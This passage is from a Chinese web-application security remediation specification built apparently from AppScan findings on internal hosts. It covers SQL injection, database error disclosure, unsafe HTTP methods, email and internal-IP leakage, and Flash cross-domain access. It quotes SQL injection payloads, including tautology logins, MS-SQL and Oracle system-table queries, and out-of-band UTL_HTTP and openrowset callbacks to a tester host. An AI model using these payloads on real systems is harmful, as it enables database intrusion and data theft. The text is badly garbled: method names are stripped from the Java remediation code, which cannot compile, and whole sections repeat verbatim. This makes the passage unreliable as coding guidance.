(" and = ?");

(ser());

}

if(!"".equals(date())){

27

安全规范

(" and e >= to_date(?,'yyyy-mm-dd')");//日

期格式

(date());

}

if(!"".equals(date())){

(" and e <= to_date(?,'yyyy-mm-dd')");

(date());

}

拼接后查询如下:

String sqlexec = lTotal(ng(),

getSimpleJdbcTemplate(), y());

还有一种命名参数变量绑定的形式:

String sql = "SELECT * FROM tb_oa_files where id=:id ";

List files = new ist();

Map parameters = new HashMap();

("id", id);

这种在查询时传入的是Map(key、value的键值对),key的值必需与绑定变量

的名称一致,查询如下:

getSimpleJdbcTemplate().query(sql,

parameters);

SQL查询条件中带In条件的变量绑定方法:

如这种:select dsname from tb_da_datasource where dsid in

('111','222')

首先我们确定从前台传过来的ID必需是不带单引号括起来的,如上面这种,传过

来用逗号分开应该是:111,222这种形式,在进行变量绑定拼接SQL时进行如下操作:

StringBuffer sql = new StringBuffer(“select dsname from

tb_da_datasource where dsid in (”);

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

if(i != 0)

(“,”);

tb_oa_files_map,

(“?”);

28

安全规范

}

(“)”);

getSimpleJdbcTemplate().query(ng(), map, idAry);

如果查询的变量不止这些ID还有其它的值,可通过下面方式:

List args = new ArrayList();

if(!"".equals(dsname)){

(" and dsname like ?");

("%"+dsname+"%"); //这种方式是用来进行模糊匹配的

}

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

}

(“)”);

getSimpleJdbcTemplate().query(ng(),

y());

重新初始化一个ArrayList(此种List是顺序存储结构,此止必需是顺序存储

结构),将数组的字增加到List,再通过toArray转成数组。

SQL查询条件中带In条件的命名参数的变量绑定。命名参数就是通过冒号+变量名

的形式进行绑定,在传入参数时是一个key、value的键值对,key必需与变量名保持

一致,value就是对应输入的值。

Map parameters = new HashMap();

StringBuffer sql = new StringBuffer(“select dsname from

tb_da_datasource where dsid in (”);

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

if(i != 0)

(“,”);

map,

if(i != 0)

(“,”);

(“?”);

(idAry[i]);

(“:dsid”).append(i);

(“dsid”+i, idAry[i]);

}

29

安全规范

(“)”);

getSimpleJdbcTemplate().query(ng(),

parameters);

1.3.10 SQL注入

map,

(一) URL

10.149.113.200/

(二) 安全问题描述

可能会查看、修改或删除数据库条目和表

(三) 攻击方法

Web 应用程序通常在后端使用数据库,以与企业数据仓库交互。查询数据库事实上

的标准语

言是SQL(各大数据库供应商都有自己的不同版本)。Web 应用程序通常会获取用

户输入

(取自HTTP 请求),将它并入SQL 查询中,然后发送到后端数据库。接着应用程

序便处理

查询结果,有时会向用户显示结果。

如果应用程序对用户(攻击者)的输入处理不够小心,攻击者便可以利用这种操作

方式。在此

情况下,攻击者可以注入恶意的数据,当该数据并入SQL 查询中时,就将查询的

原始语法更

改得面目全非。例如,如果应用程序使用用户的输入(如用户名和密码)来查询用

户帐户的数

据库表,以认证用户,而攻击者能够将恶意数据注入查询的用户名部分(和/或密

码部分),

查询便可能更改成完全不同的数据复制查询,可能是修改数据库的查询,或在数据

库服务器上

运行Shell 命令的查询。

一般而言,攻击者会分步实现这个目标。他会先学习SQL 查询的结构,然后使用

该知识来阻

挠查询(通过注入更改查询语法的数据),使执行的查询不同于预期。假设相关查

询是:

SELECT COUNT(*) FROM accounts WHERE username='$user' AND

password='$pass'

30

安全规范

其中 $user 和 $pass 是用户输入(从调用构造查询的脚本的HTTP 请求收集而

来- 可能是来自

GET 请求查询参数,也可能是来自POST 请求主体参数)。此查询的一般用法,其

值为

$user=john、$password=secret123。形成的查询如下:SELECT COUNT(*)

FROM accounts

WHERE username='john' AND password='secret123'

如果数据库中没有这个用户密码配对,预期的查询结果便是 0,如果此类配对存在

(也就是数

据库中有名称为“john”的用户,且其密码为“secret123”),结果便是 >0。

这是应用程序的基本

认证机制。但攻击者可以用下列方式来更改此查询:

1. 攻击者可以提供单引号字符(')所组成的输入,使数据库发出错误消息,其中

通常包含关

于SQL 查询的有价值的信息。攻击者只需在发送的请求中包含用户值 ',并在密

码中包含任何

值(如foobar)。结果便是下列(格式错误)的SQL 查询:SELECT COUNT(*) FROM

accounts

WHERE username=''' AND password='foobar'

这可能会产生以下错误消息(取决于后端所使用的特定数据库):查询表达式

'username = '''

AND password = 'foobar'' 中发生语法错误(遗漏运算符)。

2012-7-4 16:57:29 71/187

这时攻击者便得知查询是根据表达式username='$user' AND

password='$pass' 来构建的。利用

手边的SQL 查询时需要这一关键信息。攻击者了解查询的格式后,下一步只需使

用:

user = ' or 1=1 or ''='

password = foobar

生成的查询如下:

SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''=''

AND password='foobar'

这表示查询(在SQL 数据库中)对于“accounts”表的每项记录都会返回TRUE,

因为 1=1 表达

31

安全规范

式永远为真。因此,查询会返回“accounts”中的记录数量,于是用户(攻击者)

也会被视为有

效。这个探测方法有若干变体,例如,发送 '; or '(您应该记住,几乎所有供

应商都有他们自

己唯一的SQL“版本”。具体地说,发送 ' having 1=1,也会生成错误消息,此

消息会泄露有关列

名称的信息。在某些情况下,用户输入不会并入字符串上下文(用单引号括住),

而是并入数

字上下文,换言之,就是依现状嵌入。因此,在这种情况下,可以使用输入字符串

1 having

1=1。

2. 在某些情况下,有可能将原始查询替换为其他查询。提早终止原始查询(例如:

使用单引号

来结束字符串上下文,用分号之类的查询分隔符来强制终止,然后撰写新的查询),

便可以做

到这一点。如果应用程序够灵活,可以从已修改的查询中接收(及显示)数据(虽

然不完全符

合预期的数据),那么就可以使用这项技术来下载各种数据库表和记录。

即使应用程序处理从数据库返回的意外数据的方式还不至于将该数据显示出来,它

仍可能在数

据库上运行恶意查询(例如:更改表、删除表,以及运行Shell 命令)。

最后,在某些情况下,按一定方式设计恶意查询,使所需数据依照应用程序预期的

格式返回,

便可得到所需数据。

下列输入字符串可用来从数据库的系统表中生成敏感信息(这取决于应用程序处理

返回的查询

结果的方式):

'; select @@version,1,1,1--

(MS-SQL 数据库- 返回数据库版本)

'; select * from master..sysmessages

(MS-SQL 数据库- 返回系统信息)

'; select * from abases

(MS-SQL 数据库- 返回数据库服务器所管理的数据库名称)

'; select * from _users

32

安全规范

(Oracle 数据库- 返回数据库用户名)

由此可见,如果用户输入未经清理(也就是确保字符串数据不含 ' 或 " - 这些

字符必须编码/转

义,且必须确保数字/布尔型或其他类型化数据的格式适当),攻击者便可以使用这

个情况来

操纵数据库。

在Oracle 测试变体中,由强制Oracle 数据库利用UTL_HTTP 程序包建立从

Oracle 服务器返回

测试机器的HTTP 连接来验证SQL 注入。

发送的注入有效内容是:' ||

UTL_T('IP_Address:80/SQL_Injection_Validation

')

|| '

假设原始SQL 查询是:SELECT COUNT(*) FROM accounts WHERE

username='$user' AND

password='$pass',在SQL 注入测试期间实际的SQL 查询是:

SELECT COUNT(*) FROM accounts WHERE username='' ||

UTL_T

('IP_Address:80/SQL_Injection_Validation') || '' AND

password='$pass'

当运行此SQL 查询时,Oracle 服务器会执行UTL_T 入口点,这

个入口点会联系

测试机器,通过HTTP 来请求 '/SQL_Injection_Validation' 文件。

注意:为了能够适当验证这项测试,在Oracle 服务器和测试机器之间,必须能够

建立直接的

TCP 连接。在MS SQL 端口侦听器测试变体中,也使用类似的方法。

发送的注入有效内容是: '; select * from openrowset

('sqloledb','Network=DBMSSOCN;Address=IP_Address,9999;uid=m

yUsr;pwd=myPass','select foo

from bar')--

假设原始SQL 查询是:SELECT COUNT(*) FROM accounts WHERE

username='$user' AND

password='$pass',在SQL 注入期间,实际的SQL 查询是:

SELECT COUNT(*) FROM accounts WHERE username=''; select * from

33

安全规范

openrowset

2012-7-4 16:57:29 72/187

('sqloledb','Network=DBMSSOCN;Address=[IP_Address],9999;uid

=myUsr;pwd=myPass','select foo

from bar')--' AND password='$pass'

当运行这个SQL 查询时,MS SQL 服务器会在 9999 端口上建立指向

[IP_Address] 的连接,这

是openrowset() 的执行结果。

注意:为了能够适当验证这项测试,在MS SQL 服务器和测试机器之间,必须能够

建立直接的

TCP 连接。

(四) 安全规范要求

通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划

外的任务,

例如:启动任意SQL 查询、嵌入将在客户端执行的Javascript 代码、运行各种

操作系统命令,

等等。

建议过滤出所有以下字符:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

[4] $(美元符号)

[5] %(百分比符号)

[6] @(at 符号)

[7] '(单引号)

[8] "(引号)

[9] '(反斜杠转义单引号)

[10] "(反斜杠转义引号)

[11] <>(尖括号)

[12] ()(括号)

[13] +(加号)

[14] CR(回车符,ASCII 0x0d)

[15] LF(换行,ASCII 0x0a)

[16] ,(逗号)

34

安全规范

[17] (反斜杠)

以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符:

SQL 注入和SQL 盲注:

A. 确保用户输入的值和类型(如Integer、Date 等)有效,且符合应用程序预

期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储

过程时,请利

用ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号)

[3] '(反斜线转义单引号)

[4] "(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

跨站点脚本编制:

A. 清理用户输入,并过滤出JavaScript 代码。我们建议您过滤下列字符:

[1] <>(尖括号)

[2] "(引号)

[3] '(单引号)

[4] %(百分比符号)

[5] ;(分号)

[6] ()(括号)

[7] &(& 符号)

2012-7-4 16:57:29 73/187

[8] +(加号)

B. 如果要修订 <%00script> 变体,请参阅MS 文章 821349

C. 对于UTF-7 攻击: [-] 可能的话,建议您施行特定字符集编码(使用

'Content-Type' 头或

标记)。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在HTTP 响应中的输入)。

请确保输入未包含恶意的字符,例如:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统

35

安全规范

命令有意义的符

号,例如:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

执行shell 命令:

A. 绝不将未检查的用户输入传递给eval()、open()、sysopen()、system()

之类的Perl 命令。

B. 确保输入未包含恶意的字符,例如:

[1] $(美元符号)

[2] %(百分比符号)

[3] @(at 符号)

XPath 注入:清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号) 等

LDAP 注入:

A. 使用正面验证。字母数字过滤(A..,0..9)适合大部分LDAP 查询。

B. 应该过滤出或进行转义的特殊LDAP 字符:

[1] 在字符串开头的空格或“#”字符

[2] 在字符串结尾的空格字符

[3] ,(逗号)

[4] +(加号)

[5] "(引号)

[6] (反斜杠)

[7] <>(尖括号)

[8] ;(分号)

[9] ()(括号)

MX 注入:

应该过滤出特殊MX 字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)记录伪造:

应该过滤出特殊记录字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)

36

安全规范

[3] BS(退格,ASCII 0x08)

ORM 注入:

A. 确保用户输入的值和类型(如Integer、Date 等)有效,且符合应用程序预

期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。

C. 使用参数化查询API

D. 清理输入以排除上下文更改符号,例如: (*):

[1] '(单引号)

[2] "(引号)

[3] '(反斜线转义单引号)

[4] "(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

2012-7-4 16:57:29 74/187

(*) 这适用于SQL。高级查询语言可能需要不同的清理机制。

(五) 解决方案

非模糊匹配的很好改,将以前拼接的形式找成“?”号,如果是动态拼接,无法确

定数量的,如通过如下形式:

List args = new ArrayList();

if(!"".equals(ertitle())){

(" and itle like ?");

("%"+ertitle()+"%"); //这种方式是用来进行模

糊匹配的

}

if(!"".equals(ser())){

(" and = ?");

(ser());

}

if(!"".equals(date())){

(" and e >= to_date(?,'yyyy-mm-dd')");//日

期格式

(date());

}

37

安全规范

if(!"".equals(date())){

(" and e <= to_date(?,'yyyy-mm-dd')");

(date());

}

拼接后查询如下:

String sqlexec = lTotal(ng(),

getSimpleJdbcTemplate(), y());

还有一种命名参数变量绑定的形式:

String sql = "SELECT * FROM tb_oa_files where id=:id ";

List files = new ist();

Map parameters = new HashMap();

("id", id);

这种在查询时传入的是Map(key、value的键值对),key的值必需与绑定变量

的名称一致,查询如下:

getSimpleJdbcTemplate().query(sql,

parameters);

SQL查询条件中带In条件的变量绑定方法:

如这种:select dsname from tb_da_datasource where dsid in

('111','222')

首先我们确定从前台传过来的ID必需是不带单引号括起来的,如上面这种,传过

来用逗号分开应该是:111,222这种形式,在进行变量绑定拼接SQL时进行如下操作:

StringBuffer sql = new StringBuffer(“select dsname from

tb_da_datasource where dsid in (”);

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

}

(“)”);

getSimpleJdbcTemplate().query(ng(), map, idAry);

如果查询的变量不止这些ID还有其它的值,可通过下面方式:

38

tb_oa_files_map,

if(i != 0)

(“,”);

(“?”);

安全规范

List args = new ArrayList();

if(!"".equals(dsname)){

(" and dsname like ?");

("%"+dsname+"%"); //这种方式是用来进行模糊匹配的

}

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

}

(“)”);

getSimpleJdbcTemplate().query(ng(),

y());

重新初始化一个ArrayList(此种List是顺序存储结构,此止必需是顺序存储

结构),将数组的字增加到List,再通过toArray转成数组。

SQL查询条件中带In条件的命名参数的变量绑定。命名参数就是通过冒号+变量名

的形式进行绑定,在传入参数时是一个key、value的键值对,key必需与变量名保持

一致,value就是对应输入的值。

Map parameters = new HashMap();

StringBuffer sql = new StringBuffer(“select dsname from

tb_da_datasource where dsid in (”);

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

if(i != 0)

(“,”);

map,

if(i != 0)

(“,”);

(“?”);

(idAry[i]);

(“:dsid”).append(i);

(“dsid”+i, idAry[i]);

}

(“)”);

getSimpleJdbcTemplate().query(ng(),

parameters);

map,

39

安全规范

1.3.11 发现数据库错误模式

(一) URL

10.149.113.200/

(二) 安全问题描述

可能会查看、修改或删除数据库条目和表

(三) 攻击方法

Web 应用程序通常在后端使用数据库,以与企业数据仓库交互。查询数据库事实上

的标准语

言是SQL(各大数据库供应商都有自己的不同版本)。Web 应用程序通常会获取用

户输入

(取自HTTP 请求),将它并入SQL 查询中,然后发送到后端数据库。接着应用程

序便处理

查询结果,有时会向用户显示结果。

如果应用程序对用户(攻击者)的输入处理不够小心,攻击者便可以利用这种操作

方式。在此

情况下,攻击者可以注入恶意的数据,当该数据并入SQL 查询中时,就将查询的

原始语法更

改得面目全非。例如,如果应用程序使用用户的输入(如用户名和密码)来查询用

户帐户的数

据库表,以认证用户,而攻击者能够将恶意数据注入查询的用户名部分(和/或密

码部分),

查询便可能更改成完全不同的数据复制查询,可能是修改数据库的查询,或在数据

库服务器上

运行Shell 命令的查询。

一般而言,攻击者会分步实现这个目标。他会先学习SQL 查询的结构,然后使用

该知识来阻

挠查询(通过注入更改查询语法的数据),使执行的查询不同于预期。假设相关查

询是:

SELECT COUNT(*) FROM accounts WHERE username='$user' AND

password='$pass'

其中 $user 和 $pass 是用户输入(从调用构造查询的脚本的HTTP 请求收集而

来- 可能是来自

GET 请求查询参数,也可能是来自POST 请求主体参数)。此查询的一般用法,其

40

安全规范

值为

$user=john、$password=secret123。形成的查询如下:SELECT COUNT(*)

FROM accounts

WHERE username='john' AND password='secret123'

如果数据库中没有这个用户密码配对,预期的查询结果便是 0,如果此类配对存在

(也就是数

据库中有名称为“john”的用户,且其密码为“secret123”),结果便是 >0。

这是应用程序的基本

认证机制。但攻击者可以用下列方式来更改此查询:

1. 攻击者可以提供单引号字符(')所组成的输入,使数据库发出错误消息,其中

通常包含关

于SQL 查询的有价值的信息。攻击者只需在发送的请求中包含用户值 ',并在密

码中包含任何

值(如foobar)。结果便是下列(格式错误)的SQL 查询:SELECT COUNT(*) FROM

accounts

WHERE username=''' AND password='foobar'

这可能会产生以下错误消息(取决于后端所使用的特定数据库):查询表达式

'username = '''

AND password = 'foobar'' 中发生语法错误(遗漏运算符)。

2012-7-4 16:57:29 71/187

这时攻击者便得知查询是根据表达式username='$user' AND

password='$pass' 来构建的。利用

手边的SQL 查询时需要这一关键信息。攻击者了解查询的格式后,下一步只需使

用:

user = ' or 1=1 or ''='

password = foobar

生成的查询如下:

SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''=''

AND password='foobar'

这表示查询(在SQL 数据库中)对于“accounts”表的每项记录都会返回TRUE,

因为 1=1 表达

式永远为真。因此,查询会返回“accounts”中的记录数量,于是用户(攻击者)

也会被视为有

效。这个探测方法有若干变体,例如,发送 '; or '(您应该记住,几乎所有供

41

安全规范

应商都有他们自

己唯一的SQL“版本”。具体地说,发送 ' having 1=1,也会生成错误消息,此

消息会泄露有关列

名称的信息。在某些情况下,用户输入不会并入字符串上下文(用单引号括住),

而是并入数

字上下文,换言之,就是依现状嵌入。因此,在这种情况下,可以使用输入字符串

1 having

1=1。

2. 在某些情况下,有可能将原始查询替换为其他查询。提早终止原始查询(例如:

使用单引号

来结束字符串上下文,用分号之类的查询分隔符来强制终止,然后撰写新的查询),

便可以做

到这一点。如果应用程序够灵活,可以从已修改的查询中接收(及显示)数据(虽

然不完全符

合预期的数据),那么就可以使用这项技术来下载各种数据库表和记录。

即使应用程序处理从数据库返回的意外数据的方式还不至于将该数据显示出来,它

仍可能在数

据库上运行恶意查询(例如:更改表、删除表,以及运行Shell 命令)。

最后,在某些情况下,按一定方式设计恶意查询,使所需数据依照应用程序预期的

格式返回,

便可得到所需数据。

下列输入字符串可用来从数据库的系统表中生成敏感信息(这取决于应用程序处理

返回的查询

结果的方式):

'; select @@version,1,1,1--

(MS-SQL 数据库- 返回数据库版本)

'; select * from master..sysmessages

(MS-SQL 数据库- 返回系统信息)

'; select * from abases

(MS-SQL 数据库- 返回数据库服务器所管理的数据库名称)

'; select * from _users

(Oracle 数据库- 返回数据库用户名)

由此可见,如果用户输入未经清理(也就是确保字符串数据不含 ' 或 " - 这些

字符必须编码/转

42

安全规范

义,且必须确保数字/布尔型或其他类型化数据的格式适当),攻击者便可以使用这

个情况来

操纵数据库。

在Oracle 测试变体中,由强制Oracle 数据库利用UTL_HTTP 程序包建立从

Oracle 服务器返回

测试机器的HTTP 连接来验证SQL 注入。

发送的注入有效内容是:' ||

UTL_T('IP_Address:80/SQL_Injection_Validation

')

|| '

假设原始SQL 查询是:SELECT COUNT(*) FROM accounts WHERE

username='$user' AND

password='$pass',在SQL 注入测试期间实际的SQL 查询是:

SELECT COUNT(*) FROM accounts WHERE username='' ||

UTL_T

('IP_Address:80/SQL_Injection_Validation') || '' AND

password='$pass'

当运行此SQL 查询时,Oracle 服务器会执行UTL_T 入口点,这

个入口点会联系

测试机器,通过HTTP 来请求 '/SQL_Injection_Validation' 文件。

注意:为了能够适当验证这项测试,在Oracle 服务器和测试机器之间,必须能够

建立直接的

TCP 连接。在MS SQL 端口侦听器测试变体中,也使用类似的方法。

发送的注入有效内容是: '; select * from openrowset

('sqloledb','Network=DBMSSOCN;Address=IP_Address,9999;uid=m

yUsr;pwd=myPass','select foo

from bar')--

假设原始SQL 查询是:SELECT COUNT(*) FROM accounts WHERE

username='$user' AND

password='$pass',在SQL 注入期间,实际的SQL 查询是:

SELECT COUNT(*) FROM accounts WHERE username=''; select * from

openrowset

2012-7-4 16:57:29 72/187

('sqloledb','Network=DBMSSOCN;Address=[IP_Address],9999;uid

43

安全规范

=myUsr;pwd=myPass','select foo

from bar')--' AND password='$pass'

当运行这个SQL 查询时,MS SQL 服务器会在 9999 端口上建立指向

[IP_Address] 的连接,这

是openrowset() 的执行结果。

注意:为了能够适当验证这项测试,在MS SQL 服务器和测试机器之间,必须能够

建立直接的

TCP 连接。

(四) 安全规范要求

通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划

外的任务,

例如:启动任意SQL 查询、嵌入将在客户端执行的Javascript 代码、运行各种

操作系统命令,

等等。

建议过滤出所有以下字符:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

[4] $(美元符号)

[5] %(百分比符号)

[6] @(at 符号)

[7] '(单引号)

[8] "(引号)

[9] '(反斜杠转义单引号)

[10] "(反斜杠转义引号)

[11] <>(尖括号)

[12] ()(括号)

[13] +(加号)

[14] CR(回车符,ASCII 0x0d)

[15] LF(换行,ASCII 0x0a)

[16] ,(逗号)

[17] (反斜杠)

以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符:

SQL 注入和SQL 盲注:

44

安全规范

A. 确保用户输入的值和类型(如Integer、Date 等)有效,且符合应用程序预

期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储

过程时,请利

用ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号)

[3] '(反斜线转义单引号)

[4] "(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

跨站点脚本编制:

A. 清理用户输入,并过滤出JavaScript 代码。我们建议您过滤下列字符:

[1] <>(尖括号)

[2] "(引号)

[3] '(单引号)

[4] %(百分比符号)

[5] ;(分号)

[6] ()(括号)

[7] &(& 符号)

2012-7-4 16:57:29 73/187

[8] +(加号)

B. 如果要修订 <%00script> 变体,请参阅MS 文章 821349

C. 对于UTF-7 攻击: [-] 可能的话,建议您施行特定字符集编码(使用

'Content-Type' 头或

标记)。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在HTTP 响应中的输入)。

请确保输入未包含恶意的字符,例如:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统

命令有意义的符

号,例如:

[1] |(竖线符号)

45

安全规范

[2] & (& 符号)

[3];(分号)

执行shell 命令:

A. 绝不将未检查的用户输入传递给eval()、open()、sysopen()、system()

之类的Perl 命令。

B. 确保输入未包含恶意的字符,例如:

[1] $(美元符号)

[2] %(百分比符号)

[3] @(at 符号)

XPath 注入:清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号) 等

LDAP 注入:

A. 使用正面验证。字母数字过滤(A..,0..9)适合大部分LDAP 查询。

B. 应该过滤出或进行转义的特殊LDAP 字符:

[1] 在字符串开头的空格或“#”字符

[2] 在字符串结尾的空格字符

[3] ,(逗号)

[4] +(加号)

[5] "(引号)

[6] (反斜杠)

[7] <>(尖括号)

[8] ;(分号)

[9] ()(括号)

MX 注入:

应该过滤出特殊MX 字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)记录伪造:

应该过滤出特殊记录字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)

[3] BS(退格,ASCII 0x08)

ORM 注入:

A. 确保用户输入的值和类型(如Integer、Date 等)有效,且符合应用程序预

46

安全规范

期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。

C. 使用参数化查询API

D. 清理输入以排除上下文更改符号,例如: (*):

[1] '(单引号)

[2] "(引号)

[3] '(反斜线转义单引号)

[4] "(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

2012-7-4 16:57:29 74/187

(*) 这适用于SQL。高级查询语言可能需要不同的清理机制。

(五) 解决方案

非模糊匹配的很好改,将以前拼接的形式找成“?”号,如果是动态拼接,无法确

定数量的,如通过如下形式:

List args = new ArrayList();

if(!"".equals(ertitle())){

(" and itle like ?");

("%"+ertitle()+"%"); //这种方式是用来进行模

糊匹配的

}

if(!"".equals(ser())){

(" and = ?");

(ser());

}

if(!"".equals(date())){

(" and e >= to_date(?,'yyyy-mm-dd')");//日

期格式

(date());

}

if(!"".equals(date())){

(" and e <= to_date(?,'yyyy-mm-dd')");

(date());

47

安全规范

}

拼接后查询如下:

String sqlexec = lTotal(ng(),

getSimpleJdbcTemplate(), y());

还有一种命名参数变量绑定的形式:

String sql = "SELECT * FROM tb_oa_files where id=:id ";

List files = new ist();

Map parameters = new HashMap();

("id", id);

这种在查询时传入的是Map(key、value的键值对),key的值必需与绑定变量

的名称一致,查询如下:

getSimpleJdbcTemplate().query(sql,

parameters);

SQL查询条件中带In条件的变量绑定方法:

如这种:select dsname from tb_da_datasource where dsid in

('111','222')

首先我们确定从前台传过来的ID必需是不带单引号括起来的,如上面这种,传过

来用逗号分开应该是:111,222这种形式,在进行变量绑定拼接SQL时进行如下操作:

StringBuffer sql = new StringBuffer(“select dsname from

tb_da_datasource where dsid in (”);

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

}

(“)”);

getSimpleJdbcTemplate().query(ng(), map, idAry);

如果查询的变量不止这些ID还有其它的值,可通过下面方式:

List args = new ArrayList();

if(!"".equals(dsname)){

(" and dsname like ?");

48

tb_oa_files_map,

if(i != 0)

(“,”);

(“?”);

安全规范

("%"+dsname+"%"); //这种方式是用来进行模糊匹配的

}

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

}

(“)”);

getSimpleJdbcTemplate().query(ng(),

y());

重新初始化一个ArrayList(此种List是顺序存储结构,此止必需是顺序存储

结构),将数组的字增加到List,再通过toArray转成数组。

SQL查询条件中带In条件的命名参数的变量绑定。命名参数就是通过冒号+变量名

的形式进行绑定,在传入参数时是一个key、value的键值对,key必需与变量名保持

一致,value就是对应输入的值。

Map parameters = new HashMap();

StringBuffer sql = new StringBuffer(“select dsname from

tb_da_datasource where dsid in (”);

String[] idAry = (“,”);

for(int i = 0; i < ; i++){

if(i != 0)

(“,”);

map,

if(i != 0)

(“,”);

(“?”);

(idAry[i]);

(“:dsid”).append(i);

(“dsid”+i, idAry[i]);

}

(“)”);

getSimpleJdbcTemplate().query(ng(),

parameters);

1.3.12 启用了不安全的HTTP方法

map,

(一)

URL

49

安全规范

10.149.113.200/base/commons/

10.149.113.200/localmng/frames/

10.149.113.200/base/commons/widgets/scripts/

10.149.113.200/base/commons/scripts/treeview/

10.149.113.200/base/commons/scripts/jmpopups/

10.149.113.200/base/commons/scripts/hightcharts/

10.149.113.200/base/commons/scripts/calendar/

10.149.113.200/base/commons/widgets/

10.149.113.200/base/commons/scripts/

10.149.113.200/base/commons/

(二) 安全问题描述

可能会在Web 服务器上上载、修改或删除Web 页面、脚本和文件

(三) 攻击方法

似乎Web 服务器配置成允许下列其中一个(或多个)HTTP 方法(动词):

- DELETE

- SEARCH

- COPY

- MOVE

- PROPFIND

- PROPPATCH

- MKCOL

- LOCK

- UNLOCK

- PUT

这些方法可能表示在服务器上启用了WebDAV,可能允许未授权的用户对其进行利

用。

(四) 安全规范要求

如果服务器不需要支持WebDAV,请务必禁用它,或禁止不必要的HTTP 方法(动

词)。

(五) 解决方案

修改,增加如下配置

CLIENT-CERT

50

安全规范

Client Cert Users-only Area

BASIC

SSL

/oa/

CONFIDENTIAL

1.3.13 发现电子邮件地址模式

fortune

/*

PUT

DELETE

HEAD

OPTIONS

TRACE

(一) URL

10.149.113.200/base/commons/scripts/treeview/jque

51

安全规范

10.153.152.55:8088/report/base/commons/scripts/ca

lendar/

10.153.152.55:8088/report/base/commons/scripts/ca

lendar/

(二) 安全问题描述

可能会收集有关Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文

件位置

(三) 攻击方法

Spambot 搜寻因特网站点,开始查找电子邮件地址来构建发送自发电子邮件(垃

圾邮件)的邮件列表。

AppScan 检测到含有一或多个电子邮件地址的响应,可供利用以发送垃圾邮件。

而且,找到的电子邮件地址也可能是专用电子邮件地址,对于一般大众应是不可访问

的。

(四) 安全规范要求

从Web 站点中除去任何电子邮件地址,使恶意的用户无从利用。

(五) 解决方案

修改(一)中所列js文件中的带有@符的邮件地址

1.3.14 HTML注释敏感信息泄露

(一) URL

10.149.113.200/localmng/frames/

(二) 安全问题描述

可能会收集有关Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文

件位置

(三) 攻击方法

很多Web 应用程序程序员使用HTML 注释,以在需要时帮助调试应用程序。尽

管添加常规注释有助于调试应用程序,但一些程序员往往会遗留重要数据(例如:与

Web 应用程序相关的文件名、旧的链接或原非供用户浏览的链接、旧的代码片段等)。

(四)

安全规范要求

52

安全规范

[1] 请勿在HTML 注释中遗留任何重要信息(如文件名或文件路径)。

[2] 从生产站点注释中除去以前(或未来)站点链接的跟踪信息。

[3] 避免在HTML 注释中放置敏感信息。

[4] 确保HTML 注释不包括源代码片段。

[5] 确保程序员没有遗留重要信息。

(五) 解决方案

删除中注释的以下代码

1.3.15 发现内部IP泄露模式

(一) URL

10.149.113.200/localmng/frames/

(二) 安全问题描述

可能会收集有关Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文

件位置

(三) 攻击方法

AppScan 检测到包含内部IP 地址的响应。

内部IP 定义为下列IP 范围内的IP:

10.0.0.0 - 10.255.255.255

172.16.0.0 - 172.31.255.255

192.168.0.0 - 192.168.255.255

对攻击者而言,泄露内部IP 非常有价值,因为它显示了内部网络的IP 地址方

案。知道内部网络的IP 地址方案,可以辅助攻击者策划出对内部网络进一步的攻击。

(四) 安全规范要求

内部IP 通常显现在Web 应用程序/服务器所生成的错误消息中,或显现在

HTML/JavaScript 注释中。

[1] 关闭Web 应用程序/服务器中有问题的详细错误消息。

[2] 确保已安装相关的补丁。

[3] 确保内部IP 信息未留在HTML/JavaScript 注释中。

(五) 解决方案

JSP中有以下代码

53

安全规范

("10.153.144.204/");

此代码不符合安全要求,与客户沟通确认后再进行删除。

1.3.16 主机允许从任何域进行flash访问

(一) URL

10.152.153.246:8080/

(二) 安全问题描述

可能会窃取或操纵客户会话和cookie,它们可能用于模仿合法用户,从而使黑客

能够以该用户身份查看或变更用户记录以及执行事务

(三) 攻击方法

是一个策略文件,定义Web 页面资源是否能从不同域的

Flash 应用程序进行访问。当Web 站点的 策略太宽容(例如,

